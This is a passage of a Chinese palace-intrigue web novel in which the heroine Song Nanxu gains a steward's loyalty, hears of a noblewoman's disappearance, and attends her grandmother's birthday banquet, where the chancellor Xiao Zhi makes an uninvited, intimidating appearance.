二人身后忽地传来哒哒马蹄声。 一辆平顶马车辄止于安远侯府门前,一只素手掀开了湛蓝色的车帘,青雀紧接着跳下马车。 见到宋南絮,青雀微一颔首:“姑娘,奴婢将人带回来了。” 闻言,宋南絮侧目,一双眸子弯似弦月,饶有意味地看向薛宝瑞。 宋南絮没有发话,他只站在原地不动。 薛宝瑞虽在极力的压制着自己的情绪,但他微微上扬的眼尾,以及眼里的急切,还是出卖了他此时此刻内心的焦灼。 宋南絮故意吊着他,磨着他的耐心,眼瞧着他即将忍耐不住时,才缓缓地开了口:“如何?人可有受伤?” 青雀道:“安然无恙。” 听得这四个字,薛宝瑞重重舒了一口气。 宋南絮抬了抬手:“薛先生,快去瞧瞧吧。” 薛宝瑞对宋南絮拱了拱手,脚步飞快地走下侯府大门外的台阶,三两步跑到了马车前,急不可耐地掀开了车帘。 “爹爹——” 两声奶娃娃的呼唤,让薛宝瑞再也绷不住那根线。 他上了马车,将自己的一双儿女拥入了怀中,抬眸看向了端坐在马车中姿容秀美,温柔婉约的女子:“娟娘,你们可还好?” 薛宝瑞朝着眼含热泪的娟娘伸出了手。 娟娘再也忍不住,扑进了薛宝瑞的怀中:“老爷,娟娘还以为再也见不到您了!” 薛宝瑞将她揽入怀中,轻轻地摩挲着她的背:“好了好了,没事了,没事了。” 他在侯府当差,二人也有许多时日未见,在马车之中说了一会子的话,娟娘这才退出了薛宝瑞的怀抱,啜泣道:“要不是那位姑娘及时赶到,娟娘和孩子们怕是要死与恶人刀下,老爷,您可一定要代妾身好好谢谢人家。” 薛宝瑞颔了颔首:“这是自然。” 随即,二人下了马车,薛宝瑞见宋南絮仍站在侯府门口,便拉着娟娘和一双儿女行至她的面前:“娟娘,来见过大小姐,这位姑娘便是大小姐差遣去救你们的。” 娟娘闻言,撩起了裙摆朝着宋南絮跪拜下去:“娟娘白拜谢大小姐救命之恩,若不是大小姐仗义出手的话,只怕娟娘和孩儿们此时已经成了刀下亡魂。” 她拉着两个孩子跪了下来:“孩子们快给大小姐磕头。” 宋南絮莲步微移,上前扶起了娟娘,抱起了三四岁的小男孩,摸了摸他的小脸:“我曾在庵堂之中修行五年,自知救人一命胜造七级浮屠的道理。” 说话时,她解下了腰间玉佩,缓动系在玉佩上的丝绦逗着怀中小人儿。 见孩子伸出了白嫩嫩的小手去抓那丝绦,宋南絮笑弯了一双眸子,将玉佩递到了孩子的手中,侧目看向了娟娘和薛宝瑞:“你现已进城,往后可有何打算?” “我——” 事出突然,娟娘从未想过进城后要如何生活,下意识转头看向了薛宝瑞。 薛宝瑞上前从宋南絮的怀中接过了儿子,又拿过了孩子手里的玉佩,递还给了宋南絮。 宋南絮却并未接过:“孩子们年岁小,便要经历这种事情,定是受了不小的惊吓,玉器可低于不祥之物,逢凶化吉,这枚玉佩便当做为他们压惊所用。” 薛宝瑞连忙推辞道:“这可怎么使得!!” 宋南絮微笑道:“花妈妈本是我母亲的陪嫁,说起来,她做出这种事来,我也责无旁贷,薛先生无需推辞,只当时我给你的赔罪礼。” 薛宝瑞目光深深地望着宋南絮。 大小姐帮忙救下了他的女人和一双儿女,现在竟然还代替那贱人赔罪—— 先前在得知了宋南絮派遣带走了他们时,薛宝瑞还当是她想要拉拢自己时的威胁,但现在看来,倒是自己小人之心度君子之腹了。 他刚要开口,却又听宋南絮说:“以花妈妈的性子,此事怕是难以善了,与其将他们安顿在府外,倒不如将人接进府中安置,在你的眼皮子底下来得安全,薛先生,你说呢?” “这——”薛宝瑞微微沉吟了下一下:“恐怕不妥吧?!” 宋南絮莞尔道:“若是薛先生信得过我,可以将此事交于我来办,我定为娟娘在府中寻一个好差事,也不会让有心之人再伤害他们母子分毫。” 第98章 善意提醒,城中不安 “这——” 薛宝瑞略微沉吟。 似有些犹豫,又有些忐忑。 他与贾荣之流不同,他并非是安远侯府的卖身奴才,他原是进京城赶考的落魄书生,只因有人顶替了他的功名,还将他打得半死。 走投无路时,薛宝瑞选择投缳自尽,恰逢宋萧然经过救下了他,并给他指了一条明路。 他出身清贫之家,本就家徒四壁,爹娘为供他读书倾尽所有,在被人顶替后,那人竟还打死了他的爹娘,是宋萧然帮他报了仇,至此,他便一直跟在宋萧然身边做了长随。 薛宝瑞也渐渐看清楚这个世道。 什么清廉知县,什么秀才举子,在绝对的权势面前,他们还要仰他这个长随的鼻息。 渐渐的,他在京城之中也算是有了名声。 但凡提及安远侯,必然会说上一句他薛宝瑞。 不仅如此,侯爷还给他置办家产,助他娶妻,只是—— 他不甘心和斗大字不识一个的婢女共度此生。 直到他遇见了娟娘。 娟娘是一个身世凄惨的女子,但却知文墨,懂礼数,他们是真心相爱的,娟娘更是为他生下了一双女儿。 只是,妻子花氏和侯爷夫人如出一辙,是一个容不下其他女子的主。 在得知了娟娘的存在后,几次三番想要将她置于死地。 这一次更是—— 薛宝瑞垂下了眸子,将其中事分析利弊,权衡左右,他工于心计,谋算之术,但这前提是侯爷的信任。 大小姐的恩情,他不敢贸然承下来。 宋南絮看了薛宝瑞一眼。 她了解此人,心机深沉,是一个走一步看三步的主。 若是能将薛宝瑞收为己用的话—— “薛先生刚刚也瞧见了,我将给老太太医治的大夫送走,荣安堂前些日子闹了内贼,两个不知深浅的丫头盗走了不少财物,眼下,老太太那里正是缺人的时候,若是薛先生不弃,我倒是可以到老太太跟前说上一说。” “这——” 薛宝瑞微微垂眸。 荣安堂的确是一个不错的去处。 老夫人经年深居简出,不问府中事,即便,花氏的手再长,她也不敢大胆到将手爪子伸到老夫人的面前。 思及此,薛宝瑞缓缓地抬起了眼眸,目光灼灼地看着宋南絮,双手抱拳,恭敬一礼:“那就有劳大小姐了。” 宋南絮莞尔:“薛先生客气了,我瞧着孩子天资聪颖,将来必定是个读书的好苗子,若是进府入了奴籍,将来也是不好走仕途一路的,祖母前些日子赠与我一处宅院,薛先生打可以先将他们安置再次。” 薛宝瑞却拒绝道:“不劳烦大小姐费心了,薛某在城中尚有些私产。” 宋南絮微微一笑:“好,那明日便请薛先生将人带去荣安堂。” 荣安堂使唤下人并不算多,除了老太太日常起居外,伺候院子,洒扫房屋也都需要人手,只要和李嬷嬷言语一声,也可为娟娘安排一个轻省的差事。 商定好各中事,薛宝瑞在经过青雀身边时,眼里已无有怀疑,只剩下对救命恩人的感激。 潜入宋萧然内书房一事,最终也只能不了了之。 即便宋萧然问询起来,薛宝瑞也有的是说辞对策,这些自然不用宋南絮多想。 薛宝瑞见宋南絮并没有想要回府的意思,便善意提醒了一句:“大小姐,近来金陵城中有些不太平,还请大小姐多加小心。” 宋南絮故作不知情,拉长了音调‘哦’了一声:“薛先生此话怎讲?” 薛宝瑞四下瞧了瞧,将府门前并无旁人,方才开了口:“两日前,大小姐曾经随夫人到大长公主府中赴宴,应该知道那日发生了什么!” 宋南絮微一挑眉:“薛先生是指‘行刺’一事么?” 薛宝瑞不置可否地点了点头:“正是。” 他压了压眉心,稍微往宋南絮身边凑了凑,压低了声音道:“那刺客是何许人也,想必金陵城权贵之中人人心知肚明。” 薛宝瑞言下之意,那刺客是褚津一事,早已是人尽皆知。 宋南絮直言不讳地道:“褚津!” 薛宝瑞颔了颔首:“褚氏新丧,对外称褚公子突发恶疾,病重不治,昨日薛某奉侯爷之命前往褚府吊唁,谁知——” 他眸色微变,声音也不由得沉了几分:“褚夫人镀锌佛法,听闻普照庵的主持师太佛法高深,褚夫人亲自前往普照按,请庵堂内的姑子来内宅办一场水陆大会,可谁知,褚夫人竟一夜未归,随性的女使也没有了踪迹。” 宋南絮微一蹙眉,满眼的惊讶之色:“哦!?褚夫人失踪了?” 薛宝瑞重重颔首:“此事极为离奇,褚家新丧,却又逢此事,现已派遣人手在金陵城内外寻人。” 宋南絮点了点头:“我知道了,多谢薛先生提醒。” 一切都朝着宋南絮预想的发展了下去。 旁人或许不知,但她却清楚的很。 褚夫人的失踪,八成和普照庵脱不了关系! 十之八九是庵堂里的姑子瞧褚夫人保养德益,随性的女使年轻貌美,便将人扣在了庵堂之中。 说不定现在褚夫人及随行的女使,已经在庵堂内开始接待客人了。 回到了墨香居,宋南絮念及着青雀身上有伤,便让她回房间中歇息。 她命翠珠搬了一把高脊红椅到房门口,手中拿着一卷书册随意的翻看着,时不时,朱笔批注一二。 翠珠担心深秋的风吹坏了她家姑娘,每隔一会儿便求着她回屋里暖一暖:“姑娘,您瞧都起风了,要不咱们还是回屋里看吧。” 宋南絮被翠珠念叨的有点心烦,合上了书册,塞进了她的手里:“好,听你的。” 翠珠面上一喜,赶紧吩咐小丫头将椅子,书案抬回房中,又让翠柳燃了两个汤婆给宋南絮暖手。 她试了试汤婆子的温度,觉着正合适,便交到了宋南絮的手中:“姑娘从前最是畏寒了,怎得现在日日都要坐在门口吹风呢?要是老夫人知道,定是要怪罪奴婢们伺候不周的。” 宋南絮笑道:“时间能改变一切,从前我的确畏寒,但——” 庵堂五年,冬日里她连一件能过冬的袄子都没有,即便满手冻疮,也要伺候那些女尼。 庵堂中那些羞她,辱她,欺她,虐她之人—— 用不了多久,宋南絮便会亲手送她们去地府见阎王! 第99章 早已准备,祖母寿宴 褚夫人一事,在次日晌午,彻底在金陵城中嫌弃了轩然大波。 天子脚下,皇权之所,当朝三品朝中命官发妻,在经历了丧子之痛后,竟在黄天化日之下离奇失踪,简直是荒谬,滑天下之大稽。 就连皇帝陛下,在今日早朝之中听闻此事后都勃然震怒,亲自指派了大理寺卿着手调查。 官眷失踪案,一时间闹得是沸沸扬扬,谈及此事皆是人心惶惶。 此事归根究底在于褚津的死。 当日在端淑大长公主府中,京中官眷,朝廷命妇,不少人都是亲眼瞧见的,擅闯大长公主府的刺客究竟是何许人也! 若说嫌疑——端淑大长公主首当其冲! 只是这褚夫人失踪,莫非也和大长公主有关?! 一时间,金陵城中人云亦云,将这顶帽子扣在了端淑大长公主的头上。 “味道怎么样?” 萧止眨着一双桃花眼,哪里还有半点权臣的模样,像极了一只等待主人夸赞的狗狗,一错不错地盯着宋南絮手中的筷子。 宋南絮蹙着眉,紧盯着面前一盘不知为何物的吃食:“你说这是炙羊肉?” 萧止颔了颔首:“这次可是我亲手烹饪。” “烹饪?”宋南絮眉心皱得更甚:“你管这叫烹饪?” 宋南絮觉着这顶多也就是将一大块羊肉扔到了火上烧,在羊肉快要成为黑炭之前,夹进盘子当中,怎么算都和‘烹饪’二字无有关系。 她将一块肉夹到了自己面前:“这……能吃?” 宋南絮将筷子递到了萧止的面前:“你吃一块给我瞧瞧,若是没有被毒死的话,我再吃。” 萧止有点犹豫。 闭上了眼睛,张开了嘴巴,大有一副慷慨就义似的模样。 宋南絮将那快‘炙羊肉’放进了他的嘴巴里。 顿时,一股烧焦了的苦涩味在他的唇齿之间弥散开来。 “咳咳咳——” “呸呸呸——” “水水水——” 宋南絮一副了然于胸的模样,即便不用想,她也能知道会是这个结果。 “吧嗒”一声,她将筷子放在了桌案上,抬眸看着萧止狼狈的样子,忍不住笑了起来:“你既不擅烹饪,为何要为难自己?” 萧止猛地灌了一大口茶,这才稍稍感觉还过了一些:“我这不是——” “哎!”萧止叹息一声:“看来古语有云君子远庖厨是对了。” 宋南絮哂笑,将面前的一盘黑炭推到了萧止的面前:“既是认识到自己的错误,那就惩罚你将这盘你所谓的‘炙羊肉’都吃了吧。” “啊?!” 萧止连连摇头:“还是免了吧。” 他往宋南絮的身边凑了凑:“我听问陶然楼最近新来了一个厨子,极为擅长烹饪各色点心,不如咱们也去尝尝,可好?” “陶然楼?”宋南絮微一挑眉,轻笑一声道:“现下宇文胤珣还有心情招厨子?” 萧止:“以端淑的手段,这点流言蜚语还伤不了她,你若想要以此法将其重创,只怕是要失望了。” 宋南絮唇畔笑容变得越发浓郁了起来。 她将胳膊搭在了桌案上,纤细的手腕上两个玉镯相互碰撞,发出清脆声响:“呵!你当真以为几句流言便是我的杀招了么?” 萧止似乎看穿了宋南絮的心思:“想要用端淑之事彻底揭发普照庵,你这招伤敌一千,自损八百,我若是你——” 他话音一顿,目光深深地看着宋南絮,却并未将话说下去。 宋南絮:“你若是我当如何?” 萧止笑道:“定要将端淑的罪名做实了。” “呵!”宋南絮轻笑:“端淑虽奢靡无度,但她还不至于为了点银钱损伤神宗与先太后的清誉。” 说着,她盈盈起身,举步走向飘絮庐门口:“端淑想要用褚津毁我明洁,我便用流言伤其名声,如此才叫公平,况且,此行的目的——” 宋南絮说话时,倏地用力眯起了眼睛:“我要的是普照庵,而非一个端淑大长公主!” 萧止挥开折扇。 已是深秋,本就秋风瑟瑟如刀般凛冽,他倏地扇风,倒是险些没忍住打了一个寒噤。 宋南絮瞧了,抿不住笑意。 萧止将折扇合拢:“我已命大理寺卿裴怀忠介入此事,用不了多久便会有结果,你可做好了准备?” 宋南絮缓缓阖上眼眸。 她等待这一天已经很久很久了。 久到经过了前后两世。 宋南絮的唇角浮现出了一抹冷凝的弧度。 须臾,她缓缓地睁开了双眼,瞳眸之中一片霜寒。 次日。 晨光熹微时,安远侯府朱漆大门已悬起了九盏描金宫灯,寿字纹红绸自门楣垂下,将整条安远侯街映得喜气洋洋。 今儿,侯府内的家丁小厮,女使丫鬟皆换上了红装,图得是个喜庆、吉利之说,他们一个个地穿梭在各房各院,仅一早晨的工夫,便将安远侯府布置一新。 正午时分,宾客盈门。 在一片热闹喧嚣中,迎来了严氏的寿辰。 宋南絮的归来,似乎改变了老太太的心境,她离开的这五年里,宋萧然每每提议为母亲过寿辰,都遭到了老太太的反对,并扬言何时等她的絮丫头回家,何时再过寿辰。 “祖母,您瞧这支发簪可好?” 严氏端坐在妆台前,宋南絮亲自为祖母梳头,上妆,她选了一支翡翠牡丹的簪花,牡丹的花蕊中嵌着两颗鹌鹑蛋大小的宝石珠子,颤巍巍地发着光。 严氏身着百寿纹织锦外挂,内衬着凤穿牡丹的对襟褙子,她脸上满是笑意,看向宋南絮时,脸上的褶子中都藏着暖意。 她握住了宋南絮的手,轻轻地拍了拍:“好,好,只要是絮儿选的,祖母瞧着都好。” 宋晚棠将发簪簪在了老太太满是银丝的鬓间,而后扶着她缓缓站了起来。 阵阵铜锣声透窗而入,前院早搭好的戏台子,上演了一出《麻姑献寿》,老太太听了欢喜,拉着宋南絮的手走出了荣安堂主屋。 “老太太。” 李嬷嬷买着步子行至严氏跟前:“侯爷、夫人都在咱们院子外等着给您老人家贺寿呢,您看——” 严氏脸上原本的笑忽然一滞,眸底略带不悦:“若他带了那起子碍眼的人,便让他回去,今儿的寿宴也就此作罢!” 第100章 不请自来,满堂皆惊 “老太太放心,只有侯爷和夫人。” 严氏听李嬷嬷这么说,脸色这才稍稍好了几分,她对李嬷嬷点了点头。 随即,李嬷嬷行至荣安堂门外:“请侯爷、夫人。” 宋萧然和崔氏一前一后走近荣安堂。 二人虽然是同来的,但明眼人一眼便能瞧见,这二人之间的气氛已发生了翻天覆地的变化。 往日里,崔氏亦步亦趋,满眼所及全都是宋萧然,而现如今—— 她再看宋萧然时,眼里已没有了光亮。 夫君的背叛,养女的欺骗,亲女的疏离,让崔氏感觉自己像是置身于一片汪洋之中,他们用一块一块巨大石头砸向自己。 她是那么的伤心,那么的无能为力。 唯一,便从未想过自己是否错了。 二人行至严氏面前,宋萧然撩起了衣摆,毕恭毕敬地朝严氏跪了下来,叩首道:“儿子恭贺母亲寿辰,恭祝母亲萱堂日永,婺宿腾辉,愿岁岁今朝,福寿双全,岁岁无忧。” 崔氏也跟着跪了下来:“恭祝母亲岁岁安康,福寿绵长,永享天伦。” 严氏对这夫妻二人难得露出了一丝笑模样,微微颔了颔首:“起来吧。” 她朝身侧的李嬷嬷伸出了手。 李嬷嬷立马递上了两个红色荷包。 严氏将两个荷包递到了二人的手中:“你们的心意老身收下了。” 宋萧然笑着接过了崔氏递来的荷包:“母亲,前院的戏台子正演着您喜欢的《麻姑献寿》,儿子扶您去前院。” 说着,他举步上前,从宋南絮的手中接过了扶着老太太的差事。 宋萧然见崔氏臊眉耷眼地杵在原地,眼里闪过了一丝不悦,狠狠地瞪了崔氏一眼,朝着老太太另一侧努了努下巴。 崔氏虽素日里只知道围着夫君转,但毕竟是世家大族出身的嫡女,在这种场合下还能够保持应有的端庄。 她深吸了一口气,强忍着心里恼怒,扶住了严氏的另一侧胳膊,朝着安远侯府外院走去。 安远侯府老夫人大寿,往来皆权贵。 明面上随着老夫人到前院听戏,但明面上—— 宋南絮冷然一笑。 她的这位父亲大人,还真是好算计,接着祖母寿辰的由头,满堂皆是他可结交的权贵。 宋萧然扶着老太太,一路走来,迎接着朝中官员的祝贺声。 在主位正座前,伺候严氏落坐。 戏台之上,青衣唱腔极佳,正唱道:“瑶池领了圣母训,回身取过酒一樽。近前忙把仙姑敬,金壶玉液仔细斟。饮一杯来增福命,饮一杯来延寿龄。愿祝仙师万年庆,愿祝仙子寿比那南极天星——” 忽听得前院外庞大管事高声喊道:“许国公府小公爷到。” 前些时日,端淑大长公主以神宗亲赐的仪仗来接安远侯府女眷参加赏花宴,金陵城中人尽皆知。 今日,老夫人寿辰,宇文胤珣亲自登门道贺,看见安远侯府是当真入了端淑大长公主的眼。 只不过—— 一道道的目光投在了宇文胤珣的身上。 或探究,或审视,似乎在场的众人想要从他的脸上看出什么来一般。 但,宇文胤珣依旧是一副翩翩佳公子的模样,脸上不惊一丝一毫波澜,仿佛,连日来关于端淑大长公主的流言蜚语压根就不存在一般。 宇文胤珣径直走到了严氏面前,端得恭敬行了一个后辈大礼:“晚辈宇文胤珣见过安远侯老夫人,恭贺老夫人大寿,愿老夫人福如东来,寿比南山。” 说罢,他侧首,朝身后看了一眼。 随即,便有两名紧随他而来的两名小子,合抱着一个蒙着红绸的贺礼走上前来。 宇文胤珣掀开了红绸。 紫檀雕花的底座上,赫然是一块巨大的寿山石摆件,其上雕功精湛,雕刻这八仙拜寿图。 “晚辈代家父、家母送上贺礼一点心意聊表敬意,还望老夫人笑纳。” 严氏莞尔颔首:“有劳宇文公子替老身多谢殿下和许国公一番美意。” 她侧目看了一眼宋萧然,轻轻地点了点头。 宋萧然起身:“来人,请宇文公子上座!” 在贾荣的带领下,宇文胤珣坐在了宋萧然的下手上位。 须臾,陆陆续续的宾客登门,恭贺严氏大寿的贺礼流水似的进了安远侯府的大门。 宋萧然见下了请柬的宾客尽数到场,侧目看了一眼一直侍奉在侧的薛宝瑞、贾荣二人,微微点了点头,示意二人可以开席了。 薛宝瑞和贾荣相视一眼,异口同声道:“开席。” “侯爷!” 忽然,一道清朗的男人由远及近而来。 那声音极是好听,温和中满含书卷之气,又带着三分慵懒,却叫人听时,又觉得其中另外一股久居高位的威严与肃穆感。 众人寻声望去,远远瞧见一道人影,自有一副浑然天成的傲骨。 那公子一袭白月锦袍,腰间系着墨玉缀银铃的丝绦,步履款款而来。 他眉目如画,眼似含星,鼻梁高挺,唇似点绛珠,他面带浅浅笑意,恰似春风拂过湖面,将温润如玉的气质展露无遗,尽显儒雅风流。 此人不是萧止还能是谁! 宋南絮坐在严氏身侧,远远瞧见,险些笑出了声。 往日见惯了他一副浪荡模样,今日一本正经起来,倒有些不适应。 众人瞧见了萧止,齐齐起身,拱手见礼,席开上百,整齐划一,竟异口同声,毕恭毕敬地道:“参见相爷!” 萧止却恍若未见,径自走到了严氏面前。 他右手在上,左手在下,放于身前,身体略略前倾,端行了一个作揖的万福礼:“晚辈萧止,听闻老夫人大寿,特此前来为了老夫人拜寿。” 宋萧然瞪大了眼睛,张大了嘴巴,全然不敢相信站在自己的面前,对自家母亲行了大礼之人,竟然会是萧止。 这位丞相大人,自三年前便深居浅出,即时皇家宴席他也不曾露面。 没想到,自己不曾下过请柬,萧止竟然来为母亲拜寿。 宋萧然倏地结巴了起来:“萧……萧……相!” 萧止微微勾唇,似笑非笑地看着宋萧然:“侯爷未曾给我下过请柬,该不会怪我不请自来吧?!” 第101章 戏有所指,祸乱朝纲 萧止一言,令宋萧然刹那之间冷汗涔涔。 须臾,宋萧然回过神,连忙起身,快步行至萧止面前,双手抱拳道:“不知相爷莅临,有失远迎还请相爷赎罪。” 萧止淡然浅笑,只微一抬手:“安远侯无需多礼,本相敬佩老夫人巾帼不让须眉,昔日随父兄征战沙场,守护国土不被柔然请饭,故而慕名而来,还望宋侯爷见谅。” 言下之意,他今日前来为严氏贺寿,全然和你宋萧然、安远侯府没有半点关系。 在场之人无一不是人精,谁人听不出来萧止话中深意。 宋萧然下巴上的胡须微微抖了抖,心中虽然不悦,但面上却不敢显露分毫,仍然维持着笑模样,拱手道:“相爷严重了。” 他微微侧过身,朝着上位做了一个请的手势:“相爷请上座。” 萧止却并未动身,仍是那一副翩翩佳公子的温和模样,他朝着身侧的小厮镜竹看了一眼。 镜竹会意,转过身子,冲着门口拍了拍手。 随着他巴掌声落下,门外一个接着一个手中捧着锦匣、宝盒、托盘的小厮鱼贯而入。 严氏蹙眉。 安远侯府速来和丞相府没有交际。 再者,萧止这些年来深居简出,即便是皇帝、太后、端淑大长公的脸面也不给分毫。 他今日打着贺寿的幌子前来安远侯府予以何为呢? 严氏毕竟是上过战场的女将,看事情,解利弊,丝毫不逊色男子。 她想到只怕这位权倾朝野的丞相大人今日的到来恐怕没有那么简单! 严氏并未起身,依旧坐在主位之上。 她眯起了一双浑浊的眸子,一瞬不瞬地盯着自己的眼前人,似乎想要从萧止的脸上看出什么来。 然而—— 严氏将眉心蹙得更甚。 以她的眼光竟似乎看不出萧止的任何心思。 宋萧然看见一件接着一件的贺礼如同流水似的入了府,瞠目结舌的模样,不亚于瞧见国库内的宝物。 镜竹拿出了礼单:“为恭贺老夫人寿辰,丞相府送上贺礼,玉如意一对、白玉观音一樽、象牙十八罗汉、东海夜明珠一斛、漠北白狐皮十二张、红珊瑚一座、千年人参一株……” 礼单上的贺礼一件件念下来,即便如宋萧然这般出身显赫,都不由得惊起了一身冷汗。 宋萧然连忙转头,将目光落在了严氏的脸上,用力地吞了一口口水,随即,他转过头,瞳孔瑟缩,满是惊恐地道:“相爷,这贺礼是不是太贵重了些?” 萧止仿若未闻宋萧然的话,直接掠过了他的身边,径直走到了身边。 他挨着宋南絮站定,微一挑眉,双眸含笑地看着她。 那样子像是在等着她的夸赞一般。 宋南絮黛眉微蹙。 瞧着堆积如山的贺礼,眸子里有说不出来的困惑。 萧止即便要来给老太太贺寿,但这贺礼着实有些太多了些。 在场众人的目光都汇聚在萧止的身上,宋南絮也无法当中询问他这般大张旗鼓的前来送上贺礼所谓几何。 萧止朝宋南絮眨了眨眼,努了努下巴。 宋南絮并未挪动脚步,宋萧然却巴巴地上前对她说:“絮儿,还不赶紧给丞相大人让出位置来。” 闻言,宋南絮这才缓缓起身,还不忘瞪上萧止一眼。 萧止朝宋南絮露出了一抹得逞的笑,撩起了衣摆俯身坐在了严氏的身侧。 待萧止落座后,宋萧然连忙吩咐开席。 自萧止出现开始,这场宴席的主角似乎就变了主人。 萧止未曾动筷,在场所有宾客皆不敢逾越。 唯独一人除外——宋南絮。 她站在严氏身侧,夹起了一片酥炸藕片放在了老太太的碗里:“这道酥炸藕片是祖母最喜欢的,咱们府上新来了两个厨娘,您也尝尝她们的手艺。” 严氏笑着点了点头,夹起了藕片放进了嘴里:“嗯,味道尚可。” 萧止始终脸带微笑地望着宋南絮,听她所言,竟也夹起了一片藕子细细品尝:“的确味道极佳,本相不知安远侯府的厨娘厨艺竟如此之好,看来,本相日后应经常走动才是。” 宋萧然端起了酒盏:“相爷若是喜欢,我将这两名厨娘送到您府上便是,何需劳烦您亲自登门。” 他并不知萧止此次前来的目的,但,他却知道此人手腕凌厉,心机深沉,隧不敢与之深交,怕是稍微差池,便会万劫不复。 萧止像是没有听出宋萧然的弦外之音:“安远侯这是不欢迎本相么?” 宋萧然连忙解释:“相爷您误会了。” 萧止不以为然,自顾自地端起了酒盏,全然将宋萧然视为空气,敬了严氏一杯酒:“恭贺老夫人寿辰。” 说罢,他满饮此杯。 严氏始终保持着疏离而又不失礼貌的微笑,回敬了萧止一杯:“多谢丞相大人。” 宋萧然十分尴尬。 身为侯爵,明明身份、地位远高于萧止,但在他的面前却要低人一等。 即便萧止视他为空气,宋萧然也不敢有半句怨言。 瞧着萧止与老夫人动了筷,这场席面正式拉开了帷幕。 铜锣,胡琴声响,戏台上换了《瑶池会》,严氏极喜爱这出戏,聚精会神的听着,待一出戏结束,她侧目对李嬷嬷颔了颔首:“赏。” 严氏拿起了今儿戏班子的戏单子转头递给了宋南絮:“絮儿,你瞧瞧可有那出戏是你想听的。” 宋南絮接过了戏单子,略略看了一遍:“孙女儿想听一曲热闹些的,祖母觉着这一出《虎牢关三战吕布》可好?” 严氏点了点头:“那便演这一出吧。” 宋南絮放下了手中的戏单子,徐徐将目光落在了萧止的身上。 萧止微眯了眸子,笑道:“这出戏讲得是袁绍回合十八路诸侯与吕布相持,曹操劝刘备、关于、张飞前往破吕布,张飞与吕布展开大战,不曾想,宋小姐竟会喜欢这出戏。” 宋南絮勾起了唇角:“董卓专权,祸乱朝堂,各路诸侯纷纷起兵共同讨伐董卓——” 她话未说完,四下皆是一惊。 在场宾客一个个瞪圆了眼睛,像是听见了什么不可置信的言辞一般,一个个瞠目结舌地看着宋南絮。 宋萧然嘴角抽出,满眼的不可置信。 他瞧宋南絮一脸淡然,却说出‘祸乱朝纲,起兵讨打’的话,莫非是再指如今朝堂局势! 第102章 丞相大人,吓到孩子 在场所有人皆是满脸的震惊。 ‘祸乱朝纲,起兵讨打’莫非是在说权势滔天的丞相——萧止!! 这位安远侯府刚刚从庵堂为老夫人祈福归来的大小姐,胆子实在是太大了,竟然敢当着丞相大人的面说这样的话,难道,她就不怕丞相大人一怒之下让安远侯府消失么? 有人这么想。 当有些人却又想到了另外一层。 这些时日,安远侯府事情不断,先是宋萧然的嗣子在陶然楼对上了萧止留下的对子,引起了皇帝、太后的不满,他在朝堂之上亲自教训了儿子,才将这件事情平息。 随后,这么多年从未出席过皇亲国戚宴席的安远侯府,竟然破天荒的参加了端淑大长公主的赏花宴。 接下来,便是对侯夫人一心一意的安远侯,竟然纳了一个罪臣之女为妾,更重要的一点,这门亲事,竟还是当今太后赦免了白氏的罪名,亲自下了懿旨成全来的。 如今再加上这位大小姐当中说出这样的话。 难不成—— 这安远侯府背后仪仗的当今的圣上和太后么? 但—— 所有的人的目光都汇聚在了萧止的身上。 要是真的触怒了这位爷,别说是安远侯了,只怕就算到了御前,他也不会给一丝丝的好脸色。 然而,萧止却是毫不在意,依旧笑吟吟地望着宋南絮。 所有人都能够瞧得出来,这位爷的眼珠子都快长在宋大小姐的身上了。 可这位安远侯府的千金小姐也并不是什么绝世美人,有什么魅力能够让丞相大人着迷呢?! 一时间,前来为老夫人贺寿的宾客,在看宋南絮时,眼里多了一丝审视与逡巡,他们似乎是在等。 等着瞧这位大小姐还能够说出什么让人振聋发聩的话来。 戏台之上,《虎牢关三战吕布》仍在上演,武生唱念做打好不热闹,待到吕布挥戟迫马而来,与安国战十余合,一戟斩断安国手腕,弃锤于地而走,八方诸侯一齐杀来,救下武安国,吕布撤退三十里外。 倏然,萧止站了起来拍手叫好:“好!” 既有他率先发声,在场宾客竟齐齐起身出声附和,竟然连工部侍郎刘玉家只有六岁的小哥儿都跟着拍起手来。 萧止瞧了,微弯了眸子,唇畔笑容深邃,拿起了桌案上的一块点心,朝那小哥儿晃了晃。 这个年岁的孩童最是贪食,特别喜食甜食。 他眨着一双大大的眼睛,伸出了小手,朝着萧止走了过来。 工部侍郎及其夫人正在随着萧止拍手叫好,全然没有留意自家小儿正朝着萧止走近。 待到夫妻二人回过神来时,他们家的小哥儿已经被萧止抱在了怀中。 刘玉见到自己心肝肉似的小儿子,竟被丞相大人抱在怀中顿时一惊。 他虽刚刚调任至金陵城中出任工部侍郎一职,但对萧止也是有所耳闻,这位权倾朝野的丞相大人,可谓是挟天子以令诸侯,相传,即便他不上朝堂,圣上也会将奏折送往他的府中过目。 刘玉心头猛然一惊,连忙起身朝着萧止走去。 虽是短短几步路,却仿佛每一步都踏在刀刃上一般。 眼瞧着,刘玉就要走到萧止的面前,却见他宽阔衣袖一挥,还未等自个儿走上前去,便被萧止身边的小厮镜竹拦在一旁。 “相爷——” 刘玉刚一开口,忽然对上了萧止冷冽的目光,一时间,竟硬生生地将想要说出口的话给吞了回去。 即便自己的小儿子在萧止的手中,刘玉心中极是惧怕,可终究是不敢拿一家老小的性命开玩笑,他只得退回到了自己的位置上,一双眼睛一错不错地盯着萧止,生怕外界传言是真,萧丞相嗜血杀戮,连同黄口小儿也不放过。 刘玉一颗心提到了嗓子眼,刘夫人更是被吓的浑身止不住地打摆子,眼泪扑簌簌地往下掉。 宇文胤珣在一旁瞧见了,朝着刘玉眼神示意。 刘玉不敢贸然再上前,只得用眼神求助宇文胤珣。 宇文胤珣缓缓起身,双手合十朝着萧止躬身一礼:“相爷,孩童无知,若是脏了您的衣裳恐有不美,不然——” 萧止神情慵懒地抬了抬眼皮儿,目光冷肃而漠然。 犀利的目光仿佛是在说:“你若是胆敢再多说半个字,本相爷就当场扭动着孩童的脖子!” 宇文胤珣皱起了眉头,迎着萧止的目光撞了回去。 可是最终,他的气势还是软了下来。 只是一眼,宇文胤珣仿佛是被来自九幽阎罗殿的阎王盯上了似的,一瞬,双腿都仿佛失去了力气,“噗咚”一声,竟颓然地坐了下去。 这一幕落在萧止眼中,他冷然讥笑:“看来,大长公主教养出来的儿子也不过尔尔!” 场面一瞬陷入谷底。 萧止所言,无人敢接话。 生怕稍有不慎便会触怒这位丞相大人。 原本在萧止怀中还算是乖巧的孩子,忽地意识到了不对劲儿,不知为何突然哭了起来。 萧止蹙眉,垂下眸子,冷冷瞧了他一眼。 看了萧止的模样,顿时,那孩子哭的更凶了。 宋南絮起身,径直行至萧止面前,竟是没有一句话,直接从萧止的怀中抱走了刘家小哥儿。 